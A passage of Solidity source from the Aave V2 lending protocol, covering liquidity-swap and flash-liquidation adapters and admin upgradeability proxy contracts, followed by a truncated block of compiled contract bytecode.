loan. * @param assets Address of asset to be swapped * @param amounts Amount of the asset to be swapped * @param premiums Fee of the flash loan * @param initiator Address of the user * @param params Additional variadic field to include extra params. Expected parameters: * address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited * uint256[] minAmountsToReceive List of min amounts to be received from the swap * bool[] swapAllBalance Flag indicating if all the user balance should be swapped * uint256[] permitAmount List of amounts for the permit signature * uint256[] deadline List of deadlines for the permit signature * uint8[] v List of v param for the permit signature * bytes32[] r List of r param for the permit signature * bytes32[] s List of s param for the permit signature */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); SwapParams memory decodedParams = _decodeParams(params); require( assets.length == decodedParams.assetToSwapToList.length && assets.length == decodedParams.minAmountsToReceive.length && assets.length == decodedParams.swapAllBalance.length && assets.length == decodedParams.permitParams.amount.length && assets.length == decodedParams.permitParams.deadline.length && assets.length == decodedParams.permitParams.v.length && assets.length == decodedParams.permitParams.r.length && assets.length == decodedParams.permitParams.s.length && assets.length == decodedParams.useEthPath.length, 'INCONSISTENT_PARAMS' ); for (uint256 i = 0; i < assets.length; i++) { _swapLiquidity( assets[i], decodedParams.assetToSwapToList[i], amounts[i], premiums[i], initiator, decodedParams.minAmountsToReceive[i], decodedParams.swapAllBalance[i], PermitSignature( decodedParams.permitParams.amount[i], decodedParams.permitParams.deadline[i], decodedParams.permitParams.v[i], decodedParams.permitParams.r[i], decodedParams.permitParams.s[i] ), decodedParams.useEthPath[i] ); } return true; } struct SwapAndDepositLocalVars { uint256 i; uint256 aTokenInitiatorBalance; uint256 amountToSwap; uint256 receivedAmount; address aToken; } /** * @dev Swaps an amount of an asset to another and deposits the new asset amount on behalf of the user without using * a flash loan. This method can be used when the temporary transfer of the collateral asset to this contract * does not affect the user position. * The user should give this contract allowance to pull the ATokens in order to withdraw the underlying asset and * perform the swap. * @param assetToSwapFromList List of addresses of the underlying asset to be swap from * @param assetToSwapToList List of addresses of the underlying asset to be swap to and deposited * @param amountToSwapList List of amounts to be swapped. If the amount exceeds the balance, the total balance is used for the swap * @param minAmountsToReceive List of min amounts to be received from the swap * @param permitParams List of struct containing the permit signatures * uint256 permitAmount Amount for the permit signature * uint256 deadline Deadline for the permit signature * uint8 v param for the permit signature * bytes32 r param for the permit signature * bytes32 s param for the permit signature * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise */ function swapAndDeposit( address[] calldata assetToSwapFromList, address[] calldata assetToSwapToList, uint256[] calldata amountToSwapList, uint256[] calldata minAmountsToReceive, PermitSignature[] calldata permitParams, bool[] calldata useEthPath ) external { require( assetToSwapFromList.length == assetToSwapToList.length && assetToSwapFromList.length == amountToSwapList.length && assetToSwapFromList.length == minAmountsToReceive.length && assetToSwapFromList.length == permitParams.length, 'INCONSISTENT_PARAMS' ); SwapAndDepositLocalVars memory vars; for (vars.i = 0; vars.i < assetToSwapFromList.length; vars.i++) { vars.aToken = _getReserveData(assetToSwapFromList[vars.i]).aTokenAddress; vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(msg.sender); vars.amountToSwap = amountToSwapList[vars.i] > vars.aTokenInitiatorBalance ? vars.aTokenInitiatorBalance : amountToSwapList[vars.i]; _pullAToken( assetToSwapFromList[vars.i], vars.aToken, msg.sender, vars.amountToSwap, permitParams[vars.i] ); vars.receivedAmount = _swapExactTokensForTokens( assetToSwapFromList[vars.i], assetToSwapToList[vars.i], vars.amountToSwap, minAmountsToReceive[vars.i], useEthPath[vars.i] ); // Deposit new reserve IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), 0); IERC20(assetToSwapToList[vars.i]).safeApprove(address(LENDING_POOL), vars.receivedAmount); LENDING_POOL.deposit(assetToSwapToList[vars.i], vars.receivedAmount, msg.sender, 0); } } /** * @dev Swaps an `amountToSwap` of an asset to another and deposits the funds on behalf of the initiator. * @param assetFrom Address of the underlying asset to be swap from * @param assetTo Address of the underlying asset to be swap to and deposited * @param amount Amount from flash loan * @param premium Premium of the flash loan * @param minAmountToReceive Min amount to be received from the swap * @param swapAllBalance Flag indicating if all the user balance should be swapped * @param permitSignature List of struct containing the permit signature * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise */ struct SwapLiquidityLocalVars { address aToken; uint256 aTokenInitiatorBalance; uint256 amountToSwap; uint256 receivedAmount; uint256 flashLoanDebt; uint256 amountToPull; } function _swapLiquidity( address assetFrom, address assetTo, uint256 amount, uint256 premium, address initiator, uint256 minAmountToReceive, bool swapAllBalance, PermitSignature memory permitSignature, bool useEthPath ) internal { SwapLiquidityLocalVars memory vars; vars.aToken = _getReserveData(assetFrom).aTokenAddress; vars.aTokenInitiatorBalance = IERC20(vars.aToken).balanceOf(initiator); vars.amountToSwap = swapAllBalance && vars.aTokenInitiatorBalance.sub(premium) <= amount ? vars.aTokenInitiatorBalance.sub(premium) : amount; vars.receivedAmount = _swapExactTokensForTokens( assetFrom, assetTo, vars.amountToSwap, minAmountToReceive, useEthPath ); // Deposit new reserve IERC20(assetTo).safeApprove(address(LENDING_POOL), 0); IERC20(assetTo).safeApprove(address(LENDING_POOL), vars.receivedAmount); LENDING_POOL.deposit(assetTo, vars.receivedAmount, initiator, 0); vars.flashLoanDebt = amount.add(premium); vars.amountToPull = vars.amountToSwap.add(premium); _pullAToken(assetFrom, vars.aToken, initiator, vars.amountToPull, permitSignature); // Repay flash loan IERC20(assetFrom).safeApprove(address(LENDING_POOL), 0); IERC20(assetFrom).safeApprove(address(LENDING_POOL), vars.flashLoanDebt); } /** * @dev Decodes the information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address[] assetToSwapToList List of the addresses of the reserve to be swapped to and deposited * uint256[] minAmountsToReceive List of min amounts to be received from the swap * bool[] swapAllBalance Flag indicating if all the user balance should be swapped * uint256[] permitAmount List of amounts for the permit signature * uint256[] deadline List of deadlines for the permit signature * uint8[] v List of v param for the permit signature * bytes32[] r List of r param for the permit signature * bytes32[] s List of s param for the permit signature * bool[] useEthPath true if the swap needs to occur using ETH in the routing, false otherwise * @return SwapParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (SwapParams memory) { ( address[] memory assetToSwapToList, uint256[] memory minAmountsToReceive, bool[] memory swapAllBalance, uint256[] memory permitAmount, uint256[] memory deadline, uint8[] memory v, bytes32[] memory r, bytes32[] memory s, bool[] memory useEthPath ) = abi.decode( params, (address[], uint256[], bool[], uint256[], uint256[], uint8[], bytes32[], bytes32[], bool[]) ); return SwapParams( assetToSwapToList, minAmountsToReceive, swapAllBalance, PermitParams(permitAmount, deadline, v, r, s), useEthPath ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {BaseUniswapAdapter} from './BaseUniswapAdapter.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUniswapV2Router02} from '../interfaces/IUniswapV2Router02.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import {Helpers} from '../protocol/libraries/helpers/Helpers.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; /** * @title UniswapLiquiditySwapAdapter * @notice Uniswap V2 Adapter to swap liquidity. * @author Aave **/ contract FlashLiquidationAdapter is BaseUniswapAdapter { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; uint256 internal constant LIQUIDATION_CLOSE_FACTOR_PERCENT = 5000; struct LiquidationParams { address collateralAsset; address borrowedAsset; address user; uint256 debtToCover; bool useEthPath; } struct LiquidationCallLocalVars { uint256 initFlashBorrowedBalance; uint256 diffFlashBorrowedBalance; uint256 initCollateralBalance; uint256 diffCollateralBalance; uint256 flashLoanDebt; uint256 soldAmount; uint256 remainingTokens; uint256 borrowedAssetLeftovers; } constructor( ILendingPoolAddressesProvider addressesProvider, IUniswapV2Router02 uniswapRouter, address wethAddress ) public BaseUniswapAdapter(addressesProvider, uniswapRouter, wethAddress) {} /** * @dev Liquidate a non-healthy position collateral-wise, with a Health Factor below 1, using Flash Loan and Uniswap to repay flash loan premium. * - The caller (liquidator) with a flash loan covers `debtToCover` amount of debt of the user getting liquidated, and receives * a proportionally amount of the `collateralAsset` plus a bonus to cover market risk minus the flash loan premium. * @param assets Address of asset to be swapped * @param amounts Amount of the asset to be swapped * @param premiums Fee of the flash loan * @param initiator Address of the caller * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium * address borrowedAsset The asset that must be covered * address user The user address with a Health Factor below 1 * uint256 debtToCover The amount of debt to cover * bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == address(LENDING_POOL), 'CALLER_MUST_BE_LENDING_POOL'); LiquidationParams memory decodedParams = _decodeParams(params); require(assets.length == 1 && assets[0] == decodedParams.borrowedAsset, 'INCONSISTENT_PARAMS'); _liquidateAndSwap( decodedParams.collateralAsset, decodedParams.borrowedAsset, decodedParams.user, decodedParams.debtToCover, decodedParams.useEthPath, amounts[0], premiums[0], initiator ); return true; } /** * @dev * @param collateralAsset The collateral asset to release and will be exchanged to pay the flash loan premium * @param borrowedAsset The asset that must be covered * @param user The user address with a Health Factor below 1 * @param debtToCover The amount of debt to coverage, can be max(-1) to liquidate all possible debt * @param useEthPath true if the swap needs to occur using ETH in the routing, false otherwise * @param flashBorrowedAmount Amount of asset requested at the flash loan to liquidate the user position * @param premium Fee of the requested flash loan * @param initiator Address of the caller */ function _liquidateAndSwap( address collateralAsset, address borrowedAsset, address user, uint256 debtToCover, bool useEthPath, uint256 flashBorrowedAmount, uint256 premium, address initiator ) internal { LiquidationCallLocalVars memory vars; vars.initCollateralBalance = IERC20(collateralAsset).balanceOf(address(this)); if (collateralAsset != borrowedAsset) { vars.initFlashBorrowedBalance = IERC20(borrowedAsset).balanceOf(address(this)); // Track leftover balance to rescue funds in case of external transfers into this contract vars.borrowedAssetLeftovers = vars.initFlashBorrowedBalance.sub(flashBorrowedAmount); } vars.flashLoanDebt = flashBorrowedAmount.add(premium); // Approve LendingPool to use debt token for liquidation IERC20(borrowedAsset).approve(address(LENDING_POOL), debtToCover); // Liquidate the user position and release the underlying collateral LENDING_POOL.liquidationCall(collateralAsset, borrowedAsset, user, debtToCover, false); // Discover the liquidated tokens uint256 collateralBalanceAfter = IERC20(collateralAsset).balanceOf(address(this)); // Track only collateral released, not current asset balance of the contract vars.diffCollateralBalance = collateralBalanceAfter.sub(vars.initCollateralBalance); if (collateralAsset != borrowedAsset) { // Discover flash loan balance after the liquidation uint256 flashBorrowedAssetAfter = IERC20(borrowedAsset).balanceOf(address(this)); // Use only flash loan borrowed assets, not current asset balance of the contract vars.diffFlashBorrowedBalance = flashBorrowedAssetAfter.sub(vars.borrowedAssetLeftovers); // Swap released collateral into the debt asset, to repay the flash loan vars.soldAmount = _swapTokensForExactTokens( collateralAsset, borrowedAsset, vars.diffCollateralBalance, vars.flashLoanDebt.sub(vars.diffFlashBorrowedBalance), useEthPath ); vars.remainingTokens = vars.diffCollateralBalance.sub(vars.soldAmount); } else { vars.remainingTokens = vars.diffCollateralBalance.sub(premium); } // Allow repay of flash loan IERC20(borrowedAsset).approve(address(LENDING_POOL), vars.flashLoanDebt); // Transfer remaining tokens to initiator if (vars.remainingTokens > 0) { IERC20(collateralAsset).transfer(initiator, vars.remainingTokens); } } /** * @dev Decodes the information encoded in the flash loan params * @param params Additional variadic field to include extra params. Expected parameters: * address collateralAsset The collateral asset to claim * address borrowedAsset The asset that must be covered and will be exchanged to pay the flash loan premium * address user The user address with a Health Factor below 1 * uint256 debtToCover The amount of debt to cover * bool useEthPath Use WETH as connector path between the collateralAsset and borrowedAsset at Uniswap * @return LiquidationParams struct containing decoded params */ function _decodeParams(bytes memory params) internal pure returns (LiquidationParams memory) { ( address collateralAsset, address borrowedAsset, address user, uint256 debtToCover, bool useEthPath ) = abi.decode(params, (address, address, address, uint256, bool)); return LiquidationParams(collateralAsset, borrowedAsset, user, debtToCover, useEthPath); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseUpgradeabilityProxy.sol'; /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './UpgradeabilityProxy.sol'; /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), 'Cannot change the admin of a proxy to the zero address'); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; //solium-disable-next-line assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; //solium-disable-next-line assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require(msg.sender != _admin(), 'Cannot call fallback function from the proxy admin'); super._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseAdminUpgradeabilityProxy.sol'; import './InitializableUpgradeabilityProxy.sol'; /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param logic address of the initial implementation. * @param admin Address of the proxy administrator. * @param data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize( address logic, address admin, bytes memory data ) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(logic, data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(admin); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) { BaseAdminUpgradeabilityProxy._willFallback(); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import './BaseAdminUpgradeabilityProxy.sol'; /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) { BaseAdminUpgradeabilityProxy._willFallback(); } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806395d89b41116100de578063b9a7b62211610097578063dd62ed3e11610071578063dd62ed3e14610616578063e748489014610644578063e78c9b3b1461064c578063f731e9be146106725761018e565b8063b9a7b622146105bc578063c04a8a10146105c4578063c634dfaa146105f05761018e565b806395d89b41146105185780639dc29fac14610520578063a457c2d7146103f7578063a9059cbb1461054c578063b16a19de14610578578063b3f1c93d146105805761018e565b8063395093511161014b5780637535d246116101255780637535d24614610477578063797743381461049b57806379ce6b8c146104d057806390f6fcf2146105105761018e565b806339509351146103f75780636bd76d241461042357806370a08231146104515761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a5780633118724e146102a0578063313ce567146103d9575b600080fd5b61019b610693565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b038135169060200135610729565b604080519115158252519081900360200190f35b610258610771565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b03813581169160208101359091169060400135610783565b6103d7600480360360608110156102b657600080fd5b60ff82351691908101906040810160208201356401000000008111156102db57600080fd5b8201836020820111156102ed57600080fd5b8035906020019184600183028401116401000000008311171561030f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561036257600080fd5b82018360208201111561037457600080fd5b8035906020019184600183028401116401000000008311171561039657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506107cb945050505050565b005b6103e1610886565b6040805160ff9092168252519081900360200190f35b61023c6004803603604081101561040d57600080fd5b506001600160a01b03813516906020013561088f565b6102586004803603604081101561043957600080fd5b506001600160a01b03813581169160200135166108de565b6102586004803603602081101561046757600080fd5b50356001600160a01b031661090b565b61047f610985565b604080516001600160a01b039092168252519081900360200190f35b6104a36109a9565b6040805194855260208501939093528383019190915264ffffffffff166060830152519081900360800190f35b6104f6600480360360208110156104e657600080fd5b50356001600160a01b03166109df565b6040805164ffffffffff9092168252519081900360200190f35b610258610a01565b61019b610a07565b6103d76004803603604081101561053657600080fd5b506001600160a01b038135169060200135610a68565b61023c6004803603604081101561056257600080fd5b506001600160a01b038135169060200135610783565b61047f610de7565b61023c6004803603608081101561059657600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135610e0b565b61025861117c565b6103d7600480360360408110156105da57600080fd5b506001600160a01b038135169060200135611181565b6102586004803603602081101561060657600080fd5b50356001600160a01b031661123b565b6102586004803603604081101561062c57600080fd5b506001600160a01b038135811691602001351661088f565b6104f6611246565b6102586004803603602081101561066257600080fd5b50356001600160a01b0316611253565b61067a61126e565b6040805192835260208301919091528051918290030190f35b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561071f5780601f106106f45761010080835404028352916020019161071f565b820191906000526020600020905b81548152906001019060200180831161070257829003601f168201915b5050505050905090565b6040805162461bcd60e51b81526020600482015260166024820152751054141493d5905317d393d517d4d5541413d495115160521b6044820152905160009181900360640190fd5b600061077e603b54611287565b905090565b6040805162461bcd60e51b81526020600482015260166024820152751514905394d1915497d393d517d4d5541413d495115160521b6044820152905160009181900360640190fd5b60006107d56112cf565b60075490915060ff16806107ec57506107ec6112d4565b806107f8575060065481115b6108335760405162461bcd60e51b815260040180806020018281038252602e815260200180611b2c602e913960400191505060405180910390fd5b60075460ff16158015610853576007805460ff1916600117905560068290555b61085c846112da565b610865836112f1565b61086e85611304565b801561087f576007805460ff191690555b5050505050565b60055460ff1690565b6040805162461bcd60e51b815260206004820152601760248201527f414c4c4f57414e43455f4e4f545f535550504f525445440000000000000000006044820152905160009181900360640190fd5b6001600160a01b038083166000908152603a60209081526040808320938516835292905220545b92915050565b6000806109178361131a565b6001600160a01b0384166000908152603d60205260409020549091508161094357600092505050610980565b6001600160a01b0384166000908152603c602052604081205461096e90839064ffffffffff16611335565b905061097a8382611349565b93505050505b919050565b7f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a981565b6000806000806000603b5490506109be611407565b6109c782611287565b603e54919790965091945064ffffffffff1692509050565b6001600160a01b03166000908152603c602052604090205464ffffffffff1690565b603b5490565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561071f5780601f106106f45761010080835404028352916020019161071f565b7f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a96001600160a01b0316610a9a61140d565b6001600160a01b03161460405180604001604052806002815260200161323960f01b81525090610b485760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b0d578181015183820152602001610af5565b50505050905090810190601f168015610b3a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600080610b5584611411565b92509250506000610b64610771565b6001600160a01b0386166000908152603d6020526040812054919250908190868411610b99576000603b819055600255610c1b565b610ba3848861146a565b600281905591506000610bc1610bb8866114ac565b603b5490611349565b90506000610bd8610bd18a6114ac565b8490611349565b9050818110610bf45760006002819055603b8190559450610c18565b610c10610c00856114ac565b610c0a848461146a565b9061152a565b603b81905594505b50505b85871415610c59576001600160a01b0388166000908152603d60209081526040808320839055603c9091529020805464ffffffffff19169055610c87565b6001600160a01b0388166000908152603c60205260409020805464ffffffffff19164264ffffffffff161790555b603e805464ffffffffff19164264ffffffffff1617905586851115610d27576000610cb2868961146a565b9050610cbf898287611631565b6040805182815260208101899052808201889052606081018490526080810186905260a0810185905290516001600160a01b038b169182917fc16f4e4ca34d790de4c656c72fd015c667d688f20be64eea360618545c4c530f9181900360c00190a350610d9c565b6000610d33888761146a565b9050610d40898287611736565b6040805182815260208101899052808201889052606081018690526080810185905290516001600160a01b038b16917f44bd20a79e993bdcc7cbedf54a3b4d19fb78490124b6b90d04fe3242eea579e8919081900360a00190a2505b6040805188815290516000916001600160a01b038b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050505050505050565b7f000000000000000000000000d5147bc8e386d91cc5dbe72099dac6c9b99276f581565b60007f0000000000000000000000007d2768de32b0b80b7a3454c06bdac94a69ddc7a96001600160a01b0316610e3f61140d565b6001600160a01b03161460405180604001604052806002815260200161323960f01b81525090610eb05760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b50610eb9611a48565b846001600160a01b0316866001600160a01b031614610edd57610edd858786611778565b600080610ee987611411565b9250925050610ef6610771565b808452603b546080850152610f0b9087611855565b60028190556020840152610f1e866114ac565b6040840152610f7c610f38610f338489611855565b6114ac565b6040850151610c0a90610f4b9089611349565b610f76610f57876114ac565b6001600160a01b038d166000908152603d602052604090205490611349565b90611855565b60608401819052604080518082019091526002815261373960f01b6020820152906fffffffffffffffffffffffffffffffff1015610ffb5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b5060608301516001600160a01b0388166000908152603d6020908152604080832093909355603c8152919020805464ffffffffff421664ffffffffff199182168117909255603e805490911690911790558301516110919061105c906114ac565b610c0a61107686604001518961134990919063ffffffff16565b610f7661108688600001516114ac565b608089015190611349565b603b81905560808401526110b0876110a98884611855565b8551611631565b6040805187815290516001600160a01b038916916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3866001600160a01b0316886001600160a01b03167fc16f4e4ca34d790de4c656c72fd015c667d688f20be64eea360618545c4c530f888585886060015189608001518a6020015160405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a350159695505050505050565b600181565b80603a600061118e61140d565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120919091556111c661140d565b6001600160a01b03167fda919360433220e13b51e8c211e490d148e61a3bd53de8c097194e458b97f3e17f000000000000000000000000d5147bc8e386d91cc5dbe72099dac6c9b99276f58460405180836001600160a01b031681526020018281526020019250505060405180910390a35050565b60006109058261131a565b603e5464ffffffffff1690565b6001600160a01b03166000908152603d602052604090205490565b603b54600090819061127f81611287565b925090509091565b600080611292611407565b9050806112a3576000915050610980565b603e546000906112bb90859064ffffffffff16611335565b90506112c78282611349565b949350505050565b600190565b303b1590565b80516112ed906003906020840190611a77565b5050565b80516112ed906004906020840190611a77565b6005805460ff191660ff92909216919091179055565b6001600160a01b031660009081526020819052604090205490565b60006113428383426118af565b9392505050565b6000821580611356575081155b1561136357506000610905565b816b019d971e4fe8401e74000000198161137957fe5b0483111560405180604001604052806002815260200161068760f31b815250906113e45760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b50506b033b2e3c9fd0803ce800000091026b019d971e4fe8401e74000000010490565b60025490565b3390565b6000806000806114208561131a565b90508061143857600080600093509350935050611463565b600061144d826114478861090b565b9061146a565b90508161145a8183611855565b90955093509150505b9193909250565b600061134283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611985565b6000633b9aca0082810290839082041460405180604001604052806002815260200161068760f31b815250906115235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b5092915050565b604080518082019091526002815261035360f41b6020820152600090826115925760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b5060408051808201909152600280825261068760f31b60208301528304906b033b2e3c9fd0803ce800000082190485111561160e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b5082816b033b2e3c9fd0803ce80000008602018161162857fe5b04949350505050565b6001600160a01b0383166000908152602081905260409020546116548184611855565b6001600160a01b038086166000908152602081905260409020919091557f00000000000000000000000000000000000000000000000000000000000000001615611730577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166331873e2e8584846040518463ffffffff1660e01b815260040180846001600160a01b031681526020018381526020018281526020019350505050600060405180830381600087803b15801561171757600080fd5b505af115801561172b573d6000803e3d6000fd5b505050505b50505050565b6001600160a01b038316600090815260208181526040918290205482518084019093526002835261038360f41b91830191909152906116549082908590611985565b6040805180820182526002815261353960f01b6020808301919091526001600160a01b038087166000908152603a835284812091871681529152918220546117c1918490611985565b6001600160a01b038086166000818152603a602090815260408083208986168085529083529281902086905580517f000000000000000000000000d5147bc8e386d91cc5dbe72099dac6c9b99276f590951685529084018590528051949550909391927fda919360433220e13b51e8c211e490d148e61a3bd53de8c097194e458b97f3e1929081900390910190a350505050565b600082820183811015611342576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000806118c38364ffffffffff861661146a565b9050806118da576118d26119df565b915050611342565b60001981016000600283116118f05760006118f5565b600283035b90506301e133808704600061190a8280611349565b905060006119188284611349565b9050600060026119328461192c8a8a6119ef565b906119ef565b8161193957fe5b049050600060066119508461192c89818d8d6119ef565b8161195757fe5b04905061197581610f76848161196d8a8e6119ef565b610f766119df565b9c9b505050505050505050505050565b600081848411156119d75760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b0d578181015183820152602001610af5565b505050900390565b6b033b2e3c9fd0803ce800000090565b6000826119fe57506000610905565b82820282848281611a0b57fe5b04146113425760405162461bcd60e51b8152600401808060200182810382526021815260200180611b0b6021913960400191505060405180910390fd5b6040518060a0016040528060008152602001600081526020016000815260200160008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601